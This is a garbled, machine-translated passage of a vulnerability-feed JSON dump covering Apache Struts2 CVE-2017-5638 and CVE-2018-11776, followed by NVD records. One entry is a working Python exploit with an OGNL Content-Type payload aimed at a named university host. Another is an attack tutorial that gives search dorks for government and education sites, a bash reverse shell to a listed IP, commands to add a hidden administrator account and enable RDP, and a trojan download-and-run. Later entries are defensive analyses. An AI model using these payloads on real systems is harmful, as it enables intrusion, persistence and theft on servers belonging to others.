enabled, so the vulnerability of the seriousness of the need to get to grips with it. \nThe scope of the impact\nThe Struts 2.3.5 \u2013 Struts 2.3.31 \nThe Struts 2.5 \u2013 Struts 2.5.10 \nSolution\nIf you are using based on the Jakarta file upload Multipart resolver, please upgrade to Apache Struts 2.3. 32 or 2. 5. 10. 1 version; or you can switch to a different implementation of file upload Multipart resolver. \nVulnerability PoC \n#! /usr/bin/env python \n# encoding:utf-8 \nimport urllib2 \nimport sys \nfrom poster. encode import multipart_encode \nfrom poster. streaminghttp import register_openers \nheader1 ={ \n\"Host\":\"alumnus. shu. edu. cn\", \n\"Connection\":\"keep-alive\", \n\"Refer\":\"alumnus. shu. edu. cn\", \n\"Accept\":\"*/*\", \n\"X-Requested-With\":\"XMLHttpRequest\", \n\"Accept-Encoding\":\"deflate\", \n\"Accept-Language\":\"zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4\", \n} \ndef poc(): \nregister_openers() \ndatagen, headers = multipart_encode({\"image1\": open(\"tmp.txt\", \"rb\")}) \nheader[\"User-Agent\"]=\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\" \nheader[\"Content-Type\"]=\"'%{(#nike,='multipart/form-data'). \n(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). \n(#_memberAccess? (#_memberAccess=#dm): \n((#container=#context['com. opensymphony. xwork2. ActionContext. container']). \n(#ognlUtil=#container. getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). \n(#ognlUtil. getExcludedPackageNames(). clear()). (#ognlUtil. getExcludedClasses(). clear()). \n(#context. setMemberAccess(#dm)))). (#cmd='cat /etc/passwd'). \n(#iswin=(@java.lang.System@getProperty('os. name'). toLowerCase(). contains('win'))). \n(#cmds=(#iswin? {'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). \n(#p=new java. lang. ProcessBuilder(#cmds)). (#p. redirectErrorStream(true)). \n(#process=#p. start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse(). \ngetOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process. getInputStream(),#ros)). \n(#ros. flush())}\"' \nrequest = urllib2. Request(str(sys. argv[1]),datagen,headers=header) \nresponse = urllib2. urlopen(request) \nprint the response. read() \n\npoc() \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-07T00:00:00", "type": "myhack58", "title": "Apache Struts2 exposure arbitrary code execution vulnerability (S2-045,CVE-2017-5638)-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-07T00:00:00", "id": "MYHACK58:62201784026", "href": "http://www.myhack58.com/Article/html/3/62/2017/84026.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-03-08T11:52:28", "description": "1.1 CVE-2017-5638 vulnerability profile\nApache Struts 2 is the world's most popular JavaWeb Server framework. However, in Struts 2 found that the presence of high-risk security vulnerability, CVE-2017-5638,S02-45,and the vulnerability impact to: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts2. 5. 10 \nVulnerability ID: CVE-2017-5638 \nVulnerability rating: HIGH \nVulnerability name: S2-045: Struts 2 remote code execution vulnerability\nVulnerability impact: based on the JakartaMultipart the parser implementation file upload when possible RCE \nAffected version: Struts 2.3.5-Struts 2.3.31 \nThe Struts 2.5-Struts 2.5.10 \nRepair solutions: \nUpgrade to Struts2. 3. 32 or the Struts 2.5.10.1 \nStruts2. 3. 32 download address: \nhttps://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32 \nStruts2. 5. 10. 1 Download: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1 \nThe vulnerability principle: Struts2 default parse the uploaded file's Content-Type header, there is a problem. In the Parse error case, the error information in the OGNL code. \n1.2 hazard assessment\nAfter the actual test, as long as the vulnerability exists for windows and linux are Server Permissions. Great harm, to be sure for many people tonight is a sleepless night. \n1. 3 vulnerabilities in the actual use of 1. 3. 1 Ready to work\n1\uff0e Get ready for a jsp webshell, the Save on the site, for example, may be 1. txt and other text file, for network download. \n2\uff0e Ready to have a separate IP of the server, \u5728\u4e0a\u9762\u6709nc.exe the. \n3\uff0e Prepare python environment. \nGeneral use python2. 7. 13 version, download address: https://www.python.org/downloads/release/python-2713/, according to the[operating system](<http://www.myhack58.com/Article/48/Article_048_1.htm>)version of the Select the installation, after the installation is complete first run will error, you need to install a module, shown in Figure 1. Need to install the poster. the encode module download address: https://pypi. python. org/pypi/poster/, the \u7136\u540e \u5230 \u8be5 \u76ee\u5f55 \u6267\u884c pythonsetup.py install, to install. Note that in python if you do not set system variables, you'll need to strip the full path to execute. For example: \nC:\\Python27\\python.exeC:\\Python27\\poster-0.8.1\\setup.py install \n! [](/Article/UploadPic/2017-3/20173818228916. jpg? www. myhack58. com) \nFigure 1 The Missing poster. the encode module \n4\uff0e Get a variety of action page \n\uff081\uff09by zoomeye to get a variety of action page to search the index. action, login. action, info. action and the like. \n\uff082\uff09Baidu aunt law\ninurl:index. actionsite:edu. cn \ninurl:index. actionsite:gov. cn \ninurl:index. actionsite:com. cn \nNote: don't vandalize, and now the network security method very good it!!! \n1.3.2 modify the poc exploit code\n1. For the linux version of the modified whoami values: bash-i>& /dev/tcp/122.115.47.39/4433 0>&1 \nDescription of 122. 115. 47. 39 for a rebound the Monitoring Server IP, port 4433, the \u7136\u540e \u5c06 \u6587\u4ef6 \u4fdd\u5b58 \u4e3a poclinux.py as shown in Figure 2. Also there can be some other common commands: id, whomai, cat /etc/passwd, cat/etc/shadow, etc. You can modify the corresponding parameters and keep a different name. \n! [](/Article/UploadPic/2017-3/20173818228744. jpg? www. myhack58. com) \nFigure 2 modify the linux poc exploit code\n2. Corresponding Windows Server, modify the whomai value: \nnet user antian365$ Wsantian365!*/ add \nnet localgroup administratorsantian365$ /add \n\u5206\u522b \u5c06 poc \u6587\u4ef6 \u4fdd\u5b58 \u4e3a pocwin1.py and pocwin2.py as shown in Figure 3. \n! [](/Article/UploadPic/2017-3/20173818228139. jpg? www. myhack58. com) \nFigure 3 modify the windows under the use of the code\n1.3.3 under Windows fast implement penetration\n1. Each other to open up 3389 \n\uff081\uff09scanning each other whether to open the 3389, open a, respectively, to execute: \npocwin1.py http://www.myhack58.com/index.action \npocwin2.py http://www.myhack58.com/index.action \nIf the other loopholes, then it will directly add a user\u201cantian365$\u201d, password\u201cWsantian365!*\u201d, the Server to open the 3389, sign up and then download wce64, directly wce64 \u2013w to get the current login password, be sure to use administrator rights to execute. \n\uff082\uff09directly on 3389 \nIn the parameters were modified three times, execute the following code three times, you can open 3389. \nwmic /namespace:\\\\\\root\\cimv2\\terminalservices pathwin32_terminalservicesetting where (__CLASS != \"\") callsetallowtsconnections 1 \nwmic/namespace:\\\\\\root\\cimv2\\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1 \nreg add\"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f \n3389 is open on the condition that the other party is independent of the IP, if it is within the network IP the case of the second method. \n2. The Trojan executes the law\n\uff081\uff09Download the Trojan\nFirst you need to prepare a Trojan program, you need to through win2008. Then modify the win. py in the whoami parameters: \nGermany /transfer myjob1/download /priority normal http://www.myhack58.com/ma.exe c:\\windows\\temp\\ma.exe \nma. exe save in www. myhack58. com web site root directory, it will download directly to the other party c:\\windows\\temp directory. \n\uff082\uff09the execution of the Trojan, to modify the poc in the whoami parameters for the ma. exe to the true path and the address, as follows. Run save after the poc is in the original implementation. \nc:\\windows\\temp\\ma.exe \n1.3. 4Linux under the rapid penetration of the ideas\n1. On a standalone server to perform monitoring, required in the independent IP on the server, execute\u201cnc \u2013vv\u2013l \u2013p 4433\u201d, you can perform the connection about this IP the 4433 port. For example, http://www. myhack58. com:4433, if the listening port has data, it indicates the normal, otherwise check the firewall rules. \n2. Perform poc \n\n\n**[1] [[2]](<84086_2.htm>) [[3]](<84086_3.htm>) [next](<84086_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-08T00:00:00", "type": "myhack58", "title": "How fast the use of s02-45 vulnerability to gain server access-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-08T00:00:00", "id": "MYHACK58:62201784086", "href": "http://www.myhack58.com/Article/html/3/62/2017/84086.htm", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2019-03-30T00:37:24", "description": "Through this article, we mainly learn how Apache Struts to achieve OGNL injection. Our examples will be set forth in the Struts of the two critical vulnerabilities: CVE-2017-5638\uff08Equifax information disclosure and CVE-2018-11776\u3002 \nApache Struts is a free open source framework for creating modern Java Web applications. Apache Struts has many serious vulnerabilities, one of its characteristics is to support OGNL object graph navigation language, which is also many loopholes is the main reason. \nOne vulnerability, CVE-2017-5638 directly leads to the 2017 Equifax information leakage, exposure to more than 1. 45 million US citizens personal information. Although the company's annual revenue more than 30 billion dollars, but they still did not escape the Apache Struts MVC framework of a known vulnerability attack. \nThis paper mainly introduces the Apache Struts, and then will guide us how to modify a simple application, the use of OGNL and achieve exploits. Next, we will study in depth the platform on a number of Public Exploit way, and try to use OGNL injection vulnerability. \nAlthough Java developers are familiar with Apache Struts, but the security community often does not do however, which is why we wrote this article for the reason. \nGetting started \nRunning a vulnerable Struts application need to install Apache Tomcat [Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>a). The package of the latest version can be downloaded here as a ZIP. The binary file decompress to a location of your choice we use/var/tomcat, and continues: \ncd /var/tomcat/bin # go to the unzipped folder \nchmod +x *. sh # set the script to executable file \n./ startup.sh # run the startup script \nOur visit to http://localhost:8080/, and check whether the site running. \nAfter the confirmation, we are ready to download the old version of the Apache Struts framework, which is vulnerable to our upcoming demo of the vulnerability attack. This page provides to meet our needs 2. 3. 30 version The Struts in. \nIn the extract compressed content, we should be in the/apps position seen under struts2-showcase. war file. This is one use of the Struts compiled and ready to deploy demo application. Just need the WAR file is copied to/var/tomcat/webapps, and access http://localhost:8080/struts2-showcase/showcase. action confirm whether it is valid. \n[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)the basics \nIf you have a good grasp of the Java Web applications related to simple concepts such as Servlets, then you would have been leading. If you are new to the Java Servlet knows nothing about, it can be understood simply as a component, its purpose is to create for in the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>)hosted on Web applications the Web container, in addition, it is also responsible for the processing of the/struts2-showcase and other Java applications request. \nTo the processing Servlet, the[Web server](<http://www.myhack58.com/Article/sort099/sort0100/Article_100_1.htm>), for example Apache Tomcat requires some Assembly: \n1\\. Apache Coyote is to support the HTTP/1.1 Protocol connector. It allows the Servlet container components of Apache Catalina to communicate. \n2\\. Apache Catalina container when determined in the Tomcat receives an HTTP request, you need to call which the Servlet container. It will also HTTP request and response from the text is converted to a Servlet using a Java object. \n! [](/Article/UploadPic/2019-3/201933032655612. png) \nHere you can find information about the Java Servlet specification for all the details of the latest version 4. 0 in. \nApache Struts basics \nWith Java Web applications using the Apache Struts Framework application can have multiple Servlet. This article's main purpose is not to let everyone understand this to build the Web application framework, but on the surface the hang of the basic concepts. We can step-by-step tutorial on the subject. \nThe Apache Struts framework relies on MVC model-View-Controller architecture pattern. IT application very helpful, because you can separate the main application components: \n1\\. Model: represents the application data, for example, using\u201corders\u201dand other data of the class. \n2\\. View: is the output of the application, the visual part. \n3\\. The controller: receiving a user input, using the model to generate the view. \n4\\. Action Actions: the Apache Struts in the model. \n5\\. Intercept the Interceptors: the part of the controller, they can be in processing the request before or after the invocation of the hook. \n6\\. Value stack/OGNL: a set of objects, for example, model or action object. \n7\\. Result/result type: used to select business logic view. \n8\\. View of technology: the processing of data display. \nYou can see below the Apache Struts Web application General architecture: \n! [](/Article/UploadPic/2019-3/201933032655347.jpg) \nController receives the HTTP request, the FilterDispatcher is responsible for according to the request to invoke the right Operation. And then perform the operation, the view component is ready for a result and sends it to the HTTP response in the user. \nStruts application example \nYou want to start from scratch to write a Struts application takes some time, so we will use an already available rest-showcase demo application, which is a basic front-end a simple REST API. To compile the application, we only need to go into its directory and use Maven to compile: \ncd struts-2.3.30/src/apps/rest-showcase/ \nmvn package \nIn the target directory, we can find the following files: struts2-rest-showcase. war. You can copy it to the Tomcat server's webapps directory, for example:/var/tomcat/webapps to install it. \nThe following is the application source code: \n! [](/Article/UploadPic/2019-3/201933032655780. png) \nThe following are the available file description: \n1\\. Order. java is model, which is a storing order information of a Java class. \npublic class Order { \nString id; \nString clientName; \nint amount; \n... \n} \n2\\. OrdersService. java is a Helper class, which will be the Orders stored in the HashMap of the total, and its management. \npublic class OrdersService { \n\n\n**[1] [[2]](<93410_2.htm>) [[3]](<93410_3.htm>) [[4]](<93410_4.htm>) [[5]](<93410_5.htm>) [[6]](<93410_6.htm>) [next](<93410_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2019-03-30T00:00:00", "type": "myhack58", "title": "Apache Struts OGNL injection vulnerability principle with an example-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638", "CVE-2018-11776"], "modified": "2019-03-30T00:00:00", "id": "MYHACK58:62201993410", "href": "http://www.myhack58.com/Article/html/3/62/2019/93410.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-23T14:31:31", "description": "! [](/Article/UploadPic/2018-8/2018823153022212.jpg) \n2018 4 months, I to Apache Struts and the Struts security team reported a new remote code execution vulnerability--CVE-2018-11776\uff08S2-057 in to do some configuration on a server running Struts, and can be accessed via the carefully constructed URL to trigger the vulnerability. This discovery is I the Apache Struts ongoing Safety study of part. In this article, I will describe my discovery of a vulnerability and how to exploit the previous vulnerability information to get the Struts internal working of the principle, create a package Struts-specific concept of the QL query. Run these queries will highlight the problematic code results. These works are hosted on GitHub, later we will also to this repository add more query statement and database to help the Struts and other projects of the security research. \n\nMapping the attack surface \nMany security vulnerabilities are addressed from untrusted sources such as user input stream to a particular location of the sink of the data, and the data using an unsafe way-for example, the SQL query, deserialize, and some other interpreted languages, etc., QL can easily search for such vulnerabilities. You just need to describe the various source and sink, and then let the DataFlow library to accomplish these things. For a particular project, began to investigate such issues, a good method is to view the older version of the software known vulnerabilities. This can be in-depth understanding you want to find the source and sink points. \nThis vulnerability discovery process, I first see a RCE vulnerability S2-032\uff08CVE-2016-3081\uff09, S2-033\uff08CVE-2016-3687 and S2-037\uff08CVE-2016-4438-in. With Struts in many other RCE as RCE relates to the untrusted input is converted to OGNL expressions, allowing an attacker on the server to run arbitrary code. These three vulnerabilities are particularly interesting, not only do they let us on the Struts of the internal working mechanism have some understanding, and these three vulnerabilities actually is the same, also repair three back! \nThese three issues are the remote input through the variable methodName as a method of parameter passing caused OgnlUtil::getValue(). \n! [](/Article/UploadPic/2018-8/2018823153022696. png) \nHere the proxy has ActionProxy type, it is an interface. Note that the definition of it, in addition to the method getMethod\uff08\uff09\uff08in the above code is used to assign a value to the variable methodName addition, there are a variety of methods, such as getActionName\uff08\uff09and getNamespace\uff08\uff09\u3002 These methods look like from the URL to return information, so I'll just assume that all of these methods may return untrusted input. The rear of the article I will in depth research I for these the input from where the investigation.\uff09 \nNow use QL to start on these untrusted source modeling: \n! [](/Article/UploadPic/2018-8/2018823153023567. png) \n\nIdentify the OGNL sink point \nNow that we have identified and described some of the non-trusted source, the next step is to sink the point of doing the same thing. As previously mentioned, many of Struts RCE relates to the remote input parsed for OGNL expressions. Struts has many function will eventually be their arguments as OGNL expressions; for we in this article the start of the three vulnerabilities, the use of a OgnlUtil :: getValue \uff08\uff09, but in the vulnerability S2-045\uff08CVE-2017-5638, using TextParseUtil :: translateVariables\uff08\uff09\u3002 We may be looking for execution of OGNL expressions commonly used function, I feel OgnlUtil :: compileAndExecute\uff09and OgnlUtl :: compileAndExecuteMethod\uff08\uff09looks more games. \nMy description: \n! [](/Article/UploadPic/2018-8/2018823153023415. png) \n\nThe first attempt \nNow we have in QL are defined in the source and sink, we can stain the tracking query using these definitions. By defining DataFlow configured to use the DataFlow library: \n! [](/Article/UploadPic/2018-8/2018823153023702. png) \nHere is what I used before defined isActionProxySource and isOgnlSink it. \nNote that I'm here to reload the isAdditionalFlowStep, so that it can allow me to contain the pollution data is propagated to the additional step. Such as allow me to the project-specific information into the flow configuration. For example, if I have by a network of communicating components, I may be in QL as described in those various network-side code is what allows the DataFlow library to track tainted data. \nFor this particular query, I added two additional process steps for the DataFlow library. First: \n! [](/Article/UploadPic/2018-8/2018823153026173. png) \nIt includes tracking the standard Java library calls, string manipulation, etc. of the standard QL TaintTracking library steps. The second Add is an approximate value, allow me to by a field access track tainted data: \n! [](/Article/UploadPic/2018-8/2018823153026186. png) \nThat is if the field is assigned a tainted value, then as long as the two expressions are the same type of method call, the field visit will also be regarded as pollution. See the following example: \n! [](/Article/UploadPic/2018-8/2018823153026144. png) \nSeen from above, the bar in this. field access may not always be contaminated. For example, if in the bar before not to call foo\uff08\uff09\u3002 Therefore, we are not in the default DataFlow :: Configuration contained in this step, because you cannot guarantee that the data always in this manner the flow, however, for digging vulnerabilities, I think adding this very useful. In later posts I will share some of the similar to the other process steps, these steps for find the bug helpful, but for similar reasons, the default case is not included these steps. \n\nThe initial results and Refine the query \nI'm on the latest version of the source code on the run a bit with QL, found that due to the S2-032, S2-033 S2-037 is still marked. These vulnerabilities obviously already been fixed, why still will be reported problem? \n\n\n**[1] [[2]](<91264_2.htm>) [[3]](<91264_3.htm>) [next](<91264_2.htm>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2018-08-23T00:00:00", "type": "myhack58", "title": "S2-057 vulnerability in the original author's README: how to use automated tools find 5 RCE-vulnerability warning-the black bar safety net", "bulletinFamily": "info", "hackapp": {}, "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4438", "CVE-2017-5638", "CVE-2018-11776", "CVE-2016-3687", "CVE-2016-3081"], "modified": "2018-08-23T00:00:00", "id": "MYHACK58:62201891264", "href": "http://www.myhack58.com/Article/html/3/62/2018/91264.htm", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2023-06-05T15:27:34", "description": "Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2017-07-13T13:29:00", "type": "cve", "title": "CVE-2017-7529", "cwe": ["CWE-190"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-7529"], "modified": "2022-01-24T16:46:00", "cpe": ["cpe:/a:f5:nginx:1.13.2", "cpe:/a:f5:nginx:1.12.1", "cpe:/a:puppet:puppet_enterprise:2017.2.3", "cpe:/a:puppet:puppet_enterprise:2017.1.1"], "id": "CVE-2017-7529", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-7529", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, "cpe23": ["cpe:2.3:a:f5:nginx:1.13.2:*:*:*:*:*:*:*", "cpe:2.3:a:f5:nginx:1.12.1:*:*:*:*:*:*:*", "cpe:2.3:a:puppet:puppet_enterprise:2017.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:puppet:puppet_enterprise:2017.1.1:*:*:*:*:*:*:*"]}, {"lastseen": "2023-06-23T15:05:56", "description": "The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 has incorrect exception handling and error-message generation during file-upload attempts, which allows remote attackers to execute arbitrary commands via a crafted Content-Type, Content-Disposition, or Content-Length HTTP header, as exploited in the wild in March 2017 with a Content-Type header containing a #cmd= string.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-11T02:59:00", "type": "cve", "title": "CVE-2017-5638", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2021-02-24T12:15:00", "cpe": ["cpe:/a:apache:struts:2.5.9", "cpe:/a:apache:struts:2.3.14.3", "cpe:/a:apache:struts:2.5.5", "cpe:/a:apache:struts:2.5.6", "cpe:/a:apache:struts:2.3.15.3", "cpe:/a:apache:struts:2.3.10", "cpe:/a:apache:struts:2.3.16.2", "cpe:/a:apache:struts:2.5.8", "cpe:/a:apache:struts:2.3.27", "cpe:/a:apache:struts:2.3.16", "cpe:/a:apache:struts:2.3.9", "cpe:/a:apache:struts:2.3.31", "cpe:/a:apache:struts:2.3.14.1", "cpe:/a:apache:struts:2.3.25", "cpe:/a:apache:struts:2.3.20", "cpe:/a:apache:struts:2.3.28", "cpe:/a:apache:struts:2.5.2", "cpe:/a:apache:struts:2.5.10", "cpe:/a:apache:struts:2.5.7", "cpe:/a:apache:struts:2.3.19", "cpe:/a:apache:struts:2.5.1", "cpe:/a:apache:struts:2.3.26", "cpe:/a:apache:struts:2.3.16.3", "cpe:/a:apache:struts:2.3.24.3", "cpe:/a:apache:struts:2.3.28.1", "cpe:/a:apache:struts:2.3.21", "cpe:/a:apache:struts:2.3.22", "cpe:/a:apache:struts:2.3.24.2", "cpe:/a:apache:struts:2.3.12", "cpe:/a:apache:struts:2.3.20.3", "cpe:/a:apache:struts:2.3.24", "cpe:/a:apache:struts:2.5.3", "cpe:/a:apache:struts:2.3.20.2", "cpe:/a:apache:struts:2.3.13", "cpe:/a:apache:struts:2.3.23", "cpe:/a:apache:struts:2.3.14.2", "cpe:/a:apache:struts:2.3.16.1", "cpe:/a:apache:struts:2.3.11", "cpe:/a:apache:struts:2.3.7", "cpe:/a:apache:struts:2.3.14", "cpe:/a:apache:struts:2.3.15", "cpe:/a:apache:struts:2.3.30", "cpe:/a:apache:struts:2.3.15.2", "cpe:/a:apache:struts:2.3.29", "cpe:/a:apache:struts:2.5.4", "cpe:/a:apache:struts:2.5", "cpe:/a:apache:struts:2.3.20.1", "cpe:/a:apache:struts:2.3.24.1", "cpe:/a:apache:struts:2.3.15.1", "cpe:/a:apache:struts:2.3.17", "cpe:/a:apache:struts:2.3.8", "cpe:/a:apache:struts:2.3.5", "cpe:/a:apache:struts:2.3.6"], "id": "CVE-2017-5638", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-5638", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:apache:struts:2.3.20:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.15.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.24.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.16.2:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.28:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.27:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.8:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.30:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.22:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.14.1:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.14.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.20.3:*:*:*:*:*:*:*", "cpe:2.3:a:apache:struts:2.3.31:*:*:*:*:*:*:*", 